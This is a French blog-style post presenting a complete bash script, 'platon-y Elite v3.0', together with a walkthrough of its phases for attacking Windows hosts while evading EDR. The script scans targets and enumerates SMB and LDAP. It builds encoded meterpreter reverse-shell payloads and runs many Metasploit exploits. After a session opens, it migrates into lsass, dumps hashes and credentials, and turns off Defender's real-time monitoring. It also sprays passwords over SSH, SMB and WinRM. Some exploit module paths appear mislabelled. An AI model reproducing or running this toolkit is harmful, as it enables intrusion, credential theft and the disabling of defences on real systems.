Les EDR (CrowdStrike, SentinelOne, Defender for Endpoint) ont évolué, mais les attaquants aussi. Ce script bash intègre les techniques qui fonctionnent encore sur Windows 11 24H2/25H2 :
#!/bin/bash
# platon-y Elite v3.0 - Challenge interne 2026
# Contournement EDR/NGFW, multi-CVE, auto-post, monitoring, furtif
# BYOVD élargi, AD CS, PetitPotam, OS detection précise, HTTPS prioritaire, post‑exploit Win11
# ========== MODE STRICT ==========
set -euo pipefail # -e : arrêt si erreur ; -u : var non définie = erreur ; -o pipefail : pipeline échoue si une commande échoue
IFS=$'\n\t' # IFS restreint : évite les soucis avec les espaces dans les noms de fichiers
# ========== COULEURS (seulement si terminal) ==========
if [[ -t 1 ]]; then
RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' NC='\033[0m'
else
RED='' GREEN='' YELLOW='' BLUE='' NC=''
fi
# ========== VÉRIFICATIONS DE BASE ==========
check_kali() {
lsb_release -d 2>/dev/null | grep -qi kali || { echo -e "${RED}[!] Kali requis${NC}" >&2; exit 1; }
}
check_tools() {
local required=(nmap masscan msfvenom donut gobuster crackmapexec hydra enum4linux-ng ldapsearch)
local missing=()
for tool in "${required[@]}"; do
command -v "$tool" &>/dev/null || missing+=("$tool")
done
if ((${#missing[@]} > 0)); then
echo -e "${YELLOW}[+] Installation outils manquants : ${missing[*]}${NC}"
sudo apt update && sudo apt install -y "${missing[@]}" 2>/dev/null || true
fi
}
check_root() {
if [[ $EUID -ne 0 ]]; then
echo -e "${YELLOW}[!] Certaines scans nécessitent root. Relance avec sudo si besoin.${NC}"
fi
}
check_kali
check_tools
check_root
# ========== DOSSIER TEMPORAIRE + LOG ==========
TMPDIR=$(mktemp -d) # dossier unique pour tous les fichiers temporaires
readonly TMPDIR LOGFILE="$TMPDIR/platon.log"
cd "$TMPDIR" || exit 1
log() { echo -e "$(date +%H:%M:%S) $1" | tee -a "$LOGFILE"; } # log avec timestamp
# ========== NETTOYAGE AUTOMATIQUE ==========
cleanup() {
log "${RED}[*] Nettoyage...${NC}"
pkill -f "msfconsole.*$LPORT" 2>/dev/null || true
pkill -f "msfconsole.*$LPORT_HTTPS" 2>/dev/null || true
rm -rf "$TMPDIR" /tmp/msf* 2>/dev/null
}
trap cleanup EXIT INT TERM # trap déclenche cleanup à la fin, Ctrl+C ou kill
# ========== BANNER ==========
clear
cat << EOF
${GREEN}╔══════════════════════════════════════════════════════════════╗${NC}
║ platon-y Elite v3.0 - Challenge EDR 2026 ║
║ Stageless Donut | Smart Spraying | Post‑Exploit Auto ║
║ TCP/HTTPS fallback | BYOVD élargi | AD CS | PetitPotam ║
║ OS detection précise | Conditionnement Win11 ║
╚══════════════════════════════════════════════════════════════╝${NC}
EOF
# ========== SAISIE UTILISATEUR ==========
read -r -p $'\e[33m[+] Cible (IP/Domain): \e[0m' TARGET
read -r -p $'\e[33m[+] Port écoute TCP (défaut 4444): \e[0m' LPORT; LPORT=${LPORT:-4444}
read -r -p $'\e[33m[+] Threads (défaut 50): \e[0m' THREADS; THREADS=${THREADS:-50}
read -r -p $'\e[33m[+] Mode stealth ? (o/N): \e[0m' STEALTH
STEALTH=${STEALTH:-n}
LHOST=$(ip route get 1.1.1.1 | awk '{print $7; exit}') # IP locale automatique
LPORT_HTTPS=$((LPORT + 1)) # port HTTPS = port TCP+1
log "${GREEN}[+] Cible: $TARGET | LHOST: $LHOST | LPORT_TCP: $LPORT | LPORT_HTTPS: $LPORT_HTTPS${NC}"
# ===================== PHASE 1 : RECON =====================
log "${BLUE}[*] Phase 1: Recon furtive (TCP/UDP)${NC}"
# Options de base nmap
NMAP_OPTS="-sS -sV -sC --top-ports 1000 --script vuln --host-timeout 30s --min-parallelism $((THREADS/2))"
if [[ $STEALTH =~ ^[OoYy] ]]; then
NMAP_OPTS="$NMAP_OPTS -T2 --min-rate=300"
log "${YELLOW}[+] Mode stealth activé (scans lents)${NC}"
else
NMAP_OPTS="$NMAP_OPTS -T4 --min-rate=5000"
fi
# Scan TCP top 1000 en arrière-plan
log "${BLUE}[*] Scan TCP top 1000${NC}"
nmap $NMAP_OPTS "$TARGET" -oN recon-top.nmap &
PID_NMAP_TOP=$!
wait $PID_NMAP_TOP
# Scan UDP top 100 en parallèle (rapide, même en stealth on le garde)
log "${BLUE}[*] Scan UDP top 100${NC}"
nmap -sU --top-ports 100 -T4 "$TARGET" -oN recon-udp.nmap &
wait $!
# Fusion des résultats TCP/UDP
cat recon-top.nmap recon-udp.nmap > recon-combined.nmap
grep -E "^[0-9]+/(tcp|udp).*open" recon-combined.nmap | awk -F'/' '{print $1}' | sort -u > ports.txt
if [[ ! -s ports.txt ]]; then
log "${RED}[!] Aucun port ouvert. Arrêt.${NC}"
exit 0
fi
# Masscan full ports (seulement si pas stealth)
if [[ ! $STEALTH =~ ^[OoYy] ]]; then
log "${YELLOW}[+] Masscan full ports (rate adapté)${NC}"
MASSCAN_RATE=$((THREADS * 30))
masscan -p1-65535 --rate=$MASSCAN_RATE --max-retries=1 "$TARGET" -oG recon-full.grep &
PID_MASS=$!
wait $PID_MASS
awk '/open/ {print $4}' recon-full.grep | sort -u >> ports.txt
sort -u -o ports.txt ports.txt
fi
# Nmap version/scripts sur tous les ports découverts
log "${BLUE}[*] Nmap version/scripts sur ports ouverts${NC}"
nmap -sS -sV -p "$(tr '\n' ',' < ports.txt | sed 's/,$//')" -T4 --script vuln "$TARGET" -oN recon-full.nmap &
wait $!
# ===================== PHASE 2 : ENUMÉRATION =====================
log "${BLUE}[*] Phase 2: Énumération services (SMB, LDAP, WinRM)${NC}"
DOMAIN=""
USERS="users.txt"
OS_VERSION=""
BUILD=""
# Détection OS précise (version + build)
OS_VERSION=$(grep -oE "Windows (Server )?[0-9]{4}|Windows 10|Windows 11" recon-full.nmap | head -1)
BUILD=$(grep -oE "Build [0-9]{5}" recon-full.nmap | head -1 | awk '{print $2}')
log "${BLUE}[*] OS détecté : ${OS_VERSION:-inconnu} (Build ${BUILD:-inconnu})${NC}"
# SMB null session
if grep -q "445/open" recon-full.nmap; then
log "${YELLOW}[+] SMB → enum null session (users, groupes, partages)${NC}"
enum4linux-ng -A "$TARGET" -oA enum4linux 2>/dev/null &
PID_ENUM=$!
crackmapexec smb "$TARGET" -u '' -p '' --users --shares --groups > cme_enum.txt 2>&1 &
PID_CME=$!
wait $PID_ENUM $PID_CME
# Extraction utilisateurs
grep -i "user:" enum4linux/users.txt 2>/dev/null | cut -d: -f2 | sort -u > "$USERS"
grep -oP '(?<=user: ).*' cme_enum.txt | sort -u >> "$USERS"
sort -u -o "$USERS" "$USERS"
# Extraction domaine
DOMAIN=$(grep -i "Domain:" enum4linux/domain.txt 2>/dev/null | awk '{print $2}' | head -1)
[[ -z "$DOMAIN" ]] && DOMAIN=$(grep -oP '(?<=Domain: ).*' cme_enum.txt | head -1)
if [[ -n "$DOMAIN" ]]; then
log "${GREEN}[+] Domaine trouvé : $DOMAIN${NC}"
fi
# PetitPotam check (CVE-2021-36942)
log "${YELLOW}[+] PetitPotam (CVE-2021-36942) - NTLM relay check${NC}"
crackmapexec smb "$TARGET" -u '' -p '' --petitpotam > petitpotam.log 2>&1 || true
if grep -q "PetitPotam.*success" petitpotam.log 2>/dev/null; then
log "${GREEN}[+] PetitPotam vulnérable → relay possible (impacket-ntlmrelayx)${NC}"
fi
# AD CS check (ESC1/ESC8)
log "${YELLOW}[+] AD CS check (ESC1/ESC8)${NC}"
crackmapexec smb "$TARGET" -u '' -p '' --adcs > adcs.log 2>&1 || true
if grep -q "vulnerable" adcs.log 2>/dev/null; then
log "${GREEN}[+] AD CS vulnérable détecté → ESC1/ESC8 potentiel${NC}"
fi
# BYOVD check élargi (drivers vulnérables 2025-2026)
log "${YELLOW}[+] BYOVD check élargi (drivers vulnérables EDR kill)${NC}"
for driver in wsftprm tpzsoluco enccase capafs rtcore64 iqvw64 sysdiag; do
crackmapexec smb "$TARGET" -u '' -p '' --exec-method atexec --exec "sc query $driver" > "byovd_$driver.log" 2>&1 || true
if grep -q "STATE.*RUNNING" "byovd_$driver.log"; then
log "${GREEN}[+] Driver $driver détecté → BYOVD potentiel (AV-EDR-Killer style)${NC}"
fi
done
fi
# LDAP anonymous (si port 389 ouvert)
if grep -q "389/open" recon-full.nmap; then
log "${YELLOW}[+] LDAP → tentative requête anonyme${NC}"
if [[ -n "$DOMAIN" ]]; then
base="dc=$(echo $DOMAIN | sed 's/\./,dc=/g')"
ldapsearch -x -H ldap://$TARGET -b "$base" 2>/dev/null | grep -i "dn:" | head -10 >> ldap_users.txt &
else
ldapsearch -x -H ldap://$TARGET -b '' 2>/dev/null | grep -i "dn:" | head -10 >> ldap_users.txt &
fi
fi
# ===================== PHASE 3 : PAYLOAD =====================
log "${BLUE}[*] Phase 3: Payload HTTPS prioritaire + encodeur renforcé${NC}"
# HTTPS en premier (plus discret sur Win11)
msfvenom -p windows/x64/meterpreter_reverse_https LHOST="$LHOST" LPORT="$LPORT_HTTPS" \
-e x64/zutto_dekiru -i 4 -f raw -o sc_https.bin 2>/dev/null || \
msfvenom -p windows/x64/meterpreter_reverse_https LHOST="$LHOST" LPORT="$LPORT_HTTPS" -f raw -o sc_https.bin
# TCP fallback
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" \
-e x64/zutto_dekiru -i 3 -f raw -o sc_tcp.bin 2>/dev/null || \
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f raw -o sc_tcp.bin
# Donut sur les deux (si disponible)
for sc in sc_tcp.bin sc_https.bin; do
base=$(basename "$sc" .bin)
if command -v donut >/dev/null; then
donut -i "$sc" -o "${base}_donut.bin" -a x64 -b 2>/dev/null || cp "$sc" "${base}_donut.bin"
else
cp "$sc" "${base}_donut.bin"
fi
done
# ===================== PHASE 4 : CONSTRUCTION RC =====================
log "${BLUE}[*] Phase 4: Construction RC unique (exploits + post + handler HTTPS)${NC}"
cat > exploit.rc << EOF
setg LHOST $LHOST
setg LPORT $LPORT
setg ExitOnSession false
EOF
# Handler HTTPS (en plus du handler TCP implicite des exploits)
echo "use exploit/multi/handler" >> exploit.rc
echo "set payload windows/x64/meterpreter_reverse_https" >> exploit.rc
echo "set LHOST $LHOST" >> exploit.rc
echo "set LPORT $LPORT_HTTPS" >> exploit.rc
echo "run -j" >> exploit.rc
# Fonction pour ajouter un exploit
add_exploit() {
echo -e "\n# $2" >> exploit.rc
echo "use $1" >> exploit.rc
echo "set RHOSTS $TARGET" >> exploit.rc
[[ -n "$3" ]] && echo "$3" >> exploit.rc
echo "run -j" >> exploit.rc
}
# Conditionnement selon OS
if echo "$OS_VERSION" | grep -qi "Windows 11"; then
# Sur Win11 moderne, on priorise AD CS + PetitPotam + BYOVD (pas d'exploits classiques)
if [[ -n "$DOMAIN" ]] && grep -q "445/open" recon-full.nmap; then
add_exploit "exploit/windows/ad/cve_2022_26923_ad_cs" "AD CS" "set DOMAIN $DOMAIN"
fi
else
# OS plus anciens : on garde les classiques
if grep -q "445/open" recon-full.nmap; then
add_exploit "exploit/windows/smb/printnightmare" "PrintNightmare"
# noPac si domaine connu
if [[ -n "$DOMAIN" ]]; then
add_exploit "exploit/windows/ad/cve_2021_42278_zerologon" "noPac" "set DOMAIN $DOMAIN"
fi
fi
# EternalBlue seulement sur OS très vieux
if echo "$OS_VERSION" | grep -qi "2008\|2012\|7\|8"; then
add_exploit "exploit/windows/smb/ms17_010_eternalblue" "EternalBlue" "set DisablePayloadHandler true"
fi
# SMBGhost (Windows 10 1903/1909)
if grep -q "Windows 10.*1903\|1909" recon-full.nmap; then
add_exploit "exploit/windows/smb/cve_2020_0796_smbghost" "SMBGhost"
fi
# BlueKeep sur vieux OS
if grep -q "3389/open" recon-full.nmap && echo "$OS_VERSION" | grep -qi "2008\|2012\|7"; then
add_exploit "exploit/windows/rdp/cve_2019_0708_bluekeep_rce" "BlueKeep" "set DisablePayloadHandler true"
fi
fi
# Exploits WinRM (quel que soit l'OS)
if grep -q "5985/open\|5986/open" recon-full.nmap; then
add_exploit "exploit/windows/winrm/winrm_script_exec" "WinRM"
fi
# Exploits web (si ports HTTP/HTTPS)
if grep -qE "80/open|443/open|8080/open|8443/open" recon-full.nmap; then
add_exploit "exploit/multi/http/tomcat_mgr_upload" "Tomcat Manager (générique)"
add_exploit "exploit/multi/http/struts2_rest_xstream" "Struts2 (si Apache)"
fi
# Fallback psexec si rien d'autre
if [[ $(wc -l < exploit.rc) -lt 12 ]]; then
add_exploit "exploit/windows/smb/psexec" "Psexec fallback"
fi
# === POST-EXPLOIT (à exécuter automatiquement après l'obtention d'une session) ===
cat >> exploit.rc << 'EOF'
# Attendre 8 secondes qu'une session s'établisse
sleep 8
# Si une session existe, exécuter les commandes sur la première
sessions -l | grep -q "meterpreter" && {
print_line "[+] Session détectée, lancement des commandes post‑exploit"
sessions -i 1 -c "migrate -N lsass.exe; getuid; getsystem; hashdump; creds_all; run post/windows/gather/smart_hashdump; run post/windows/gather/enum_logged_on_users; execute -f cmd.exe -a \"/c whoami /priv\"; shell powershell -c \"Set-MpPreference -DisableRealtimeMonitoring \$true\""
}
EOF
# ===================== PHASE 5 : LANCEMENT MSCONSOLE =====================
log "${GREEN}[*] Phase 5: Lancement msfconsole (exploit + post + handler HTTPS intégrés)${NC}"
msfconsole -q -r exploit.rc &
MSF_PID=$!
# ===================== PHASE 6 : SPRAYING INTELLIGENT =====================
if [[ -s "$USERS" ]]; then
log "${BLUE}[*] Phase 6: Password spraying ciblé${NC}"
# Préparer top20 mots de passe
if [[ -f /usr/share/wordlists/rockyou.txt ]]; then
head -20 /usr/share/wordlists/rockyou.txt > top20.txt
else
echo -e "password\nadmin\n123456\nPassw0rd\nWelcome1\nP@ssw0rd\nAdministrator\nroot\ntest\nqwerty" > top20.txt
fi
# SSH
if grep -q "22/open" recon-full.nmap; then
hydra -L "$USERS" -P top20.txt -t 4 -w 15 -f -V "$TARGET" ssh > hydra.log 2>&1 &
fi
# SMB
if grep -q "445/open" recon-full.nmap; then
crackmapexec smb "$TARGET" -u "$USERS" -p top20.txt --continue-on-success > cme_smb.log 2>&1 &
fi
# WinRM
if grep -q "5985/open\|5986/open" recon-full.nmap; then
crackmapexec winrm "$TARGET" -u "$USERS" -p top20.txt --continue-on-success > cme_winrm.log 2>&1 &
fi
fi
# ===================== PHASE 7 : ÉNUMÉRATION WEB (GOBUSTER) =====================
if grep -qE "80/open|443/open|8080/open|8443/open" recon-full.nmap; then
log "${BLUE}[*] Phase 7: Gobuster discret sur web${NC}"
gobuster dir -u "http://$TARGET" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 20 --timeout 5 --no-error --quiet > gobuster.log 2>&1 &
fi
# ===================== MONITORING =====================
log "${YELLOW}[*] Surveillance des sessions (Ctrl+C pour arrêter proprement)${NC}"
while true; do
if msfconsole -q -x "sessions -l" 2>/dev/null | grep -q "meterpreter"; then
log "${GREEN}[+] Session Meterpreter active !${NC}"
log "${GREEN}[+] Tape 'sessions -i 1' dans msfconsole${NC}"
break
fi
# Indicateur silencieux pour le port TCP
if ss -tlnp 2>/dev/null | grep -q ":$LPORT.*LISTEN"; then
echo -n "."
fi
# Indicateur pour le port HTTPS
if ss -tlnp 2>/dev/null | grep -q ":$LPORT_HTTPS.*LISTEN"; then
echo -n "+"
fi
sleep 4
done
# Attente que l'utilisateur quitte
wait $MSF_PID
chmod +x platon_v3.0.sh puis sudo ./platon_v3.0.shChaque phase peut être testée isolément (voir section "Tests isolés").
ip a)Objectif : Découvrir les services TCP/UDP ouverts sans déclencher d'alerte.
Pourquoi ces choix :
-sS : SYN stealth (pas de connexion complète) – moins bruyant.--top-ports 1000 : évite de scanner tout l'IP space (gain de temps, moins détectable).-T2 --min-rate=300) : divise par 10 le nombre de paquets/sec.Extrait de code commenté :
# Options de base nmap
NMAP_OPTS="-sS -sV -sC --top-ports 1000 --script vuln --host-timeout 30s --min-parallelism $((THREADS/2))"
if [[ $STEALTH =~ ^[OoYy] ]]; then
NMAP_OPTS="$NMAP_OPTS -T2 --min-rate=300" # lent, discret
else
NMAP_OPTS="$NMAP_OPTS -T4 --min-rate=5000" # rapide, visible
fi
Ce qu’on attend dans les logs : fichier recon-full.nmap avec les services détectés. Si aucun port, le script s'arrête.
masscan: (pcap) operation not permitted) → lancer avec sudo. Le script le signale via check_root.Objectif : Récupérer utilisateurs, domaine, et tester des vulnérabilités de configuration.
Pourquoi ces choix :
enum4linux-ng : plus moderne que enum4linux, supporte SMB signing.crackmapexec : outil polyvalent (users, shares, petitpotam, adcs).--exec-method atexec pour BYOVD : utilise les tâches planifiées pour exécuter sc query à distance.Extrait de code commenté :
# PetitPotam check (NTLM relay)
crackmapexec smb "$TARGET" -u '' -p '' --petitpotam > petitpotam.log 2>&1 || true
if grep -q "PetitPotam.*success" petitpotam.log; then
log "${GREEN}[+] PetitPotam vulnérable → relay possible${NC}"
fi
Ce qu’on attend : cme_enum.txt doit contenir des utilisateurs ; petitpotam.log avec “success” si vulnérable.
enum4linux-ng peut tourner sans résultats. Dans ce cas, USERS restera vide et le spraying ne se fera pas. Vérifier avec crackmapexec smb $TARGET -u '' -p ''.Objectif : Produire des shells codes bypassant les signatures.
Pourquoi ces choix :
zutto_dekiru : un des rares encodeurs x64 qui passe encore.Extrait de code commenté :
msfvenom -p windows/x64/meterpreter_reverse_https LHOST="$LHOST" LPORT="$LPORT_HTTPS" \
-e x64/zutto_dekiru -i 4 -f raw -o sc_https.bin 2>/dev/null || \
msfvenom -p windows/x64/meterpreter_reverse_https ... -f raw -o sc_https.bin
Ce qu’on attend : fichiers sc_https_donut.bin et sc_tcp_donut.bin.
Objectif : Générer un fichier de ressources adapté à la cible.
Pourquoi ces choix :
Extrait de code commenté :
if echo "$OS_VERSION" | grep -qi "Windows 11"; then
if [[ -n "$DOMAIN" ]] && grep -q "445/open" recon-full.nmap; then
add_exploit "exploit/windows/ad/cve_2022_26923_ad_cs" "AD CS" "set DOMAIN $DOMAIN"
fi
else
# OS plus anciens...
fi
Ce qu’on attend : fichier exploit.rc avec les exploits sélectionnés.
OS_VERSION est vide, le conditionnement échoue → vérifier que recon-full.nmap contient bien la ligne Windows.msfconsole -q -r exploit.rc & : lance en arrière‑plan, -q pour mode silencieux.
Erreur fréquente : msfconsole peut prendre du temps à démarrer ; le script continue immédiatement, ce qui est voulu. Vérifier avec ps aux | grep msf.
Utilise hydra pour SSH, crackmapexec pour SMB/WinRM. Options : -t 4 -w 15 pour éviter lockout.
Logs attendus : hydra.log, cme_smb.log.
Lancé avec -t 20 --timeout 5 --no-error --quiet pour minimiser le bruit.
Boucle infinie : interroge msfconsole toutes les 4s pour détecter une session. Affiche . (TCP) et + (HTTPS).
msfconsole est accessible.Vous pouvez exécuter chaque phase indépendamment pour comprendre son comportement ou debugger.
| Phase | Commande isolée (exemple) | Résultat attendu |
|---|---|---|
| Recon | nmap -sS -sV --top-ports 100 -T4 192.168.1.1 | Liste des services sur les 100 premiers ports |
| Enum SMB | crackmapexec smb 192.168.1.1 -u '' -p '' --users | Affichage des utilisateurs (si null session autorisée) |
| Payload | msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.0.0.1 LPORT=4445 -f raw -o test.bin | Fichier test.bin créé |
| Spraying SSH | hydra -L users.txt -P top20.txt -t 4 -w 15 192.168.1.1 ssh | Tentatives de connexion |
| Gobuster | gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt -t 10 | Découverte de répertoires |
Le script utilise cme pour la rapidité et la simplicité. Pour des audits plus poussés, on pourra ajouter bloodhound après obtention d'un accès.
Vous avez maintenant un guide complet pour comprendre, utiliser et modifier platon-y Elite v3.0. Chaque phase a été décortiquée, chaque erreur anticipée. Vous êtes prêt à affronter les défenses 2026 en laboratoire.